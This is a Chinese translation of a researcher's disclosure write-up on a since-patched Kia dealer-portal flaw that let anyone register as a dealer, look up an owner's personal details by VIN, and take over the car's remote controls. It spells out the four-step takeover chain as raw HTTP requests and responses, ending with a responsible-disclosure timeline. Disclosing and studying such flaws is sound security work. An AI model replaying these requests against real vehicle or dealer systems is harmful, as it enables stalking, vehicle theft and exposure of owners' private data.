引言
2024年6月11日,我们发现了起亚汽车中的一组漏洞,允许仅通过车牌远程控制关键功能。这些攻击可以在大约30秒内远程执行,适用于任何配备硬件的车辆,无论其是否拥有有效的起亚Connect订阅。
此外,攻击者还可以悄悄获取个人信息,包括受害人的姓名、电话号码、电子邮件地址和家庭地址。这使得攻击者能够在受害人不知情的情况下,将自己添加为受害人车辆上的隐形第二用户。
YouTube演示视频:https://www.youtube.com/embed/jMHFCpQdZyg
我们构建了一个工具来演示这些漏洞的影响,攻击者只需输入起亚汽车的车牌号,然后在大约30秒后对车辆执行命令。这些漏洞已经得到修复,该工具从未发布,起亚团队已验证此漏洞从未被恶意利用。
受影响的车辆(部分截图)

漏洞报告
大约两年前,我和一些黑客对超过十家不同汽车公司的漏洞进行了探索。我们发现了一些关键问题,这些问题允许攻击者远程定位、禁用启动器、解锁并启动大约1550万辆汽车。对此反应非常强烈。The Security Ledger的创始人Paul Roberts,甚至在美国国会听证会上就这些发现作证。
由于时间已经过去了很长时间,我们决定重新审视一些较大的公司,看看是否能发现新的问题。我们首先花时间研究的是起亚。
当我们开始研究起亚时,我们最初集中在owners.kia.com网站和Kia Connect iOS应用com.myuvo.link上。这两个应用都很有趣,因为它们可以执行从互联网到车辆的命令。
尽管owners网站和移动应用有相同的功能,它们处理车辆命令的方式却不同。owners网站使用后端反向代理将用户命令转发到api.owners.kia.com后端服务,实际上是由该服务来执行车辆命令,而移动应用则直接访问该API。
以下HTTP请求展示了owners.kia.com网站如何将解锁车门的API请求代理到api.owners.kia.com主机。
解锁车门的HTTP请求(来自"owners.kia.com"网站)
POST /apps/services/owners/apigwServlet.html HTTP/2
Host: owners.kia.com
Httpmethod: GET
Apiurl: /door/unlock
Servicetype: postLoginCustomer
Cookie: JSESSIONID=SESSION_TOKEN;
在发送上述来自owners.kia.com网站的HTTP请求后,起亚后端将生成一个Sid会话ID头,该会话ID通过我们的JSESSIONID作为认证被后端API使用,然后最终以以下格式将转发的HTTP请求发送到api.owners.kia.com网站。
由服务器形成并代理的HTTP请求
GET /apigw/v1/rems/door/unlock HTTP/1.1
Host: api.owners.kia.com
Sid: 454817d4-b228-4103-a26f-884e362e8dee
Vinkey: 3ecc1a19-aefd-4188-a7fe-1723e1663d6e
上述HTTP请求中重要的头信息是Sid(会话令牌)和Vinkey(索引到VIN的UUID)。虽然还有许多其他头信息,这些都是访问API所必需的,但这两个是与车辆访问控制相关的。以上两个HTTP请求位于我们在2023年发现原始起亚漏洞的相同区域。
由于我们已经非常熟悉用户端的情况,我们决定转而查看起亚经销商网站。
针对起亚经销商基础设施
我们从未测试过起亚是如何执行新购车辆的激活操作的。在与几个人交谈后,我们得知,起亚会在经销商处要求提供你的电子邮件地址,然后你会收到一个注册链接,用于注册一个新的起亚账户,或者将你新购的车辆添加到你现有的起亚账户中。
我们询问是否可以分享起亚提供给他们的注册链接,他们很友好地转发了邮件。我们从超链接中复制了以下URL:
非常有趣!我们从未见过kiaconnect.kdealer.com这个域名。我们打开了该URL,并看到了以下端点:

Kiaconnect Initial Vehicle Registration URL
Kiaconnect初始车辆注册URL
在上述URL中,token参数(也称为VIN密钥)是由起亚经销商生成的访问令牌,作为一次性授权,用于修改vin参数中指定的车辆。在加载上述URL后,以下HTTP请求将被发送,以验证令牌是否已过期或已被使用。
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
{
"token": "985a49f0-1fe5-4d36-860e-d9b93272072b",
"vin": "5XYP3DHC9NG310533",
"scenarioType": 3,
"loginPref": null
}
非常有趣。发送验证一次性访问令牌的HTTP请求被发送到了与之前owners.kia.com请求相同的/apps/services/kdealer/apigwServlet.htmlURI,只不过这次是在起亚Connect经销商网站上发送的。这很可能意味着经销商基础设施有类似的转发代理,指向一个用于经销商功能的内部API。
我们通过查看JavaScript寻找有趣的APIGW调用,发现了似乎是仅限员工使用的功能。代码中有关于经销商车辆查询、账户查询、注册、取消注册等多种与经销商相关的API调用的引用。
dealerVehicleLookUp() {
this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({
vin: this.vinToEnroll
}, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => {
i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click()))
})
}
为了测试我们是否可以访问这些端点,我们构造了一个HTTP请求,发送到经销商APIGW端点,使用了我们自己的经销商令牌(Appid头)和我们拥有的车辆的VIN。
尝试通过起亚经销商APIGW端点查询VIN的HTTP请求
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl
{
"vin": "1HGBH41JXMN109186"
}
HTTP Response
HTTP/1.1 401 Unauthorized
Content-type: application/json
{
"status": {
"statusCode": 1,
"errorType": 1,
"errorCode": 1003,
"errorMessage": "Session Key is either invalid or expired"
}
}
不行。看起来经销商端点并不想与我们通过购买新车时通过电子邮件获得的访问令牌一起工作。
我们回想了一下最初的owners.kia.com网站,随后想到:如果有一种方式可以直接注册为经销商,生成一个访问令牌,然后在这里使用该访问令牌呢?kiaconnect.kdealer.com网站似乎采用了相同的API格式,所以也许我们可以直接复制格式,注册一个账户并登录?
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/registerUser
{
"userCredential": {
"firstName": "Sam",
"lastName": "Curry",
"userId": "normal.user@gmail.com",
"password": "FakePass123!",
"acceptedTerms": 1
}
}
返回了200 OK!看起来我们可以使用相同的HTTP请求在起亚经销商网站上注册,就像在起亚车主网站上一样。我们迅速尝试登录并生成访问令牌:
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser
{
"userCredential": {
"userId": "normal.user@gmail.com",
"password": "FakePass123!"
}
}
登录有效,服务器返回了一个带有会话cookie的HTTP响应。
HTTP/1.1 200 OK
Sid: 123e4567-e89b-12d3-a456-426614174000
我们将生成的访问令牌发送到之前未经授权的经销商APIGW端点,以查询一个VIN。
使用起亚经销商APIGW端点查询VIN的HTTP请求(使用"dda"访问令牌)
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Appid: 123e4567-e89b-12d3-a456-426614174000
Apiurl: /dec/dlr/dvl
{
"vin": "1HGBH41JXMN109186"
}
HTTP Response
HTTP/1.1 200 OK
Content-type: application/json
{
"payload": {
"billingSubscriptionSupported": 1,
"digitalKeySupported": 0,
"generation": "3",
"profiles": [
{
"address": {},
"billSubscriptionStatus": 1,
"digitalKeyStatus": 0,
"email": "victim@gmail.com",
"enrollmentReqStatus": 1,
"enrollmentStatus": 1,
"firstName": "yeet",
"lastName": "yeet",
"loginId": "victim@gmail.com",
"phone": "4027181388",
"phoneType": 3,
"wifiHotspotStatus": 0
}
],
"vinAddedToAccount": 1,
"wifiHotspotSupported": 1
}
}
在注册并认证为经销商账户后,我们成功生成了一个有效的访问令牌,可以用来调用后端经销商API!HTTP响应中包含了车辆所有人的姓名、电话号码和电子邮件地址。我们能够使用正常的应用程序凭证和修改过的频道头信息认证进入经销商门户。这意味着我们很可能可以访问所有其他经销商端点。
接管车辆
经过几个小时的JavaScript分析,我们终于弄清楚了注册、取消注册和车辆修改端点是如何工作的。以下四个HTTP请求可以用来获取对受害人车辆的访问权限。

Full high level attack flow
完整的高层攻击流程
(1) Generate the Dealer Token and retrieve the "token" header from the HTTP Response
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser
{
"userCredential": {
"userId": "normal.kia.user@gmail.com",
"password": "Fakepass123!"
}
}
使用我们创建的经销商账户,我们将通过/prof/authUser端点进行认证以获取会话令牌。
(2) 获取受害人的电子邮件地址和电话号码
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl
Appid: 123e4567-e89b-12d3-a456-426614174000
{
"vin": "VIN"
}
通过添加会话令牌头,我们能够访问kiaconnect.kdealer.com网站上的所有经销商端点,并可以获取受害人的姓名、电话号码和电子邮件地址。
(3) 使用泄露的电子邮件地址和VIN号码修改所有者之前的访问权限
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/rvp
Appid: 123e4567-e89b-12d3-a456-426614174000
{
"vin": "VIN",
"loginId": "victim_email_leaked@gmail.com",
"dealerCode": "eDelivery"
}
我们发送此请求以降级车辆所有者的权限,从而将自己添加为主要账户持有者。我们必须在此处发送受害人的电子邮件地址,这是我们在第二步中获得的。
(4) 将攻击者添加到受害人车辆中
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /ownr/dicve
Appid: 123e4567-e89b-12d3-a456-426614174000
{
"vin": "5XYRK4LFXMG016215",
"loginId": "attacker@gmail.com"
}
最后,我们将把我们控制的攻击者邮箱指定为车辆的主要所有者。这将使我们能够向车辆发送任意命令。
以上四个HTTP请求可以用来仅通过车牌号,控制几乎所有2013年后生产的起亚车辆(具体详情见"受影响车辆"表格)。
从受害人方面来看,他们并不会收到任何通知,表示其车辆已被访问或访问权限已被修改。攻击者可以解析某人的车牌号,通过API输入其VIN,随后被动追踪受害者并发送诸如解锁、启动车辆或鸣笛等主动命令。
这一影响对我们来说非常明显,我们立即向起亚报告了这一问题。在起亚修复该问题时,我们决定构建一个概念验证仪表盘,更好地展示这个漏洞的影响。
创建车牌接管概念验证
我们概念验证UI的目标是简单地提供一个仪表盘,攻击者可以在上面(1)输入起亚车辆的车牌号,(2)获取所有者的个人信息(PII),然后(3)执行车辆命令。
由于我们将受害者的车辆添加到我们控制的攻击者账户中,我们决定将概念验证分为"利用"页和"车库"页。利用页将用于实际接管车辆,车库页则用于发出命令和定位车辆。
它通过以下方式工作:
- •车牌号到VIN表单使用第三方API将车牌号转换为VIN
- •接管按钮将执行四步过程,通过从车牌号获取的VIN接管受害人车辆,步骤包括(1)通过登录表单生成经销商令牌,(2)从受害人账户中获取电子邮件/电话号码,(3)将账户所有者降级为账户持有者,(4)将我们自己添加为主要账户持有者。
- •获取所有者按钮将被动地告诉我们受害人的姓名、电子邮件和电话号码
- •车库选项卡将允许我们列出并执行对受控车辆的命令
在构建完这个工具后,我们使用一辆租赁的锁定起亚车辆录制了一个概念验证视频。该视频在博客开头展示,视频中我们通过手机接管了一辆车辆,然后能够远程锁/解锁、启动/停止、鸣笛和定位车辆。
仅通过车牌号破解汽车
在受控车辆上执行命令
结论
汽车将继续存在漏洞,因为就像Meta可能会推出一个代码更改,允许某人接管你的Facebook账户一样,汽车制造商也可能会为你的车辆做同样的事情。
感谢阅读!
时间线
- • 06/07/24 04:40 PM UTC - Inquiry sent to Kia team on correct place to report vulnerabilities
- • 06/10/24 01:21 PM UTC - Response by Kia Team
- • 06/11/24 10:41 PM UTC - Report sent to Kia
- • 06/12/24 06:20 PM UTC - Email to bump ticket due to criticality
- • 06/14/24 06:00 PM UTC - Response from Kia team that they were investigating
- • 06/18/24 04:41 PM UTC - Email to bump ticket due to criticality, added screenshots of tool
- • 06/20/24 02:54 AM UTC - Email to bump ticket, included screenshot of license plate to access tool
- • 08/12/24 12:30 PM UTC - Email to bump ticket, asking for update
- • 08/14/24 05:41 PM UTC - Response from Kia team indicating they had remediated the vulnerability and were performing testing
- • 09/26/24 08:15 AM UTC - Disclosed vulnerability publicly after validating it had been remediated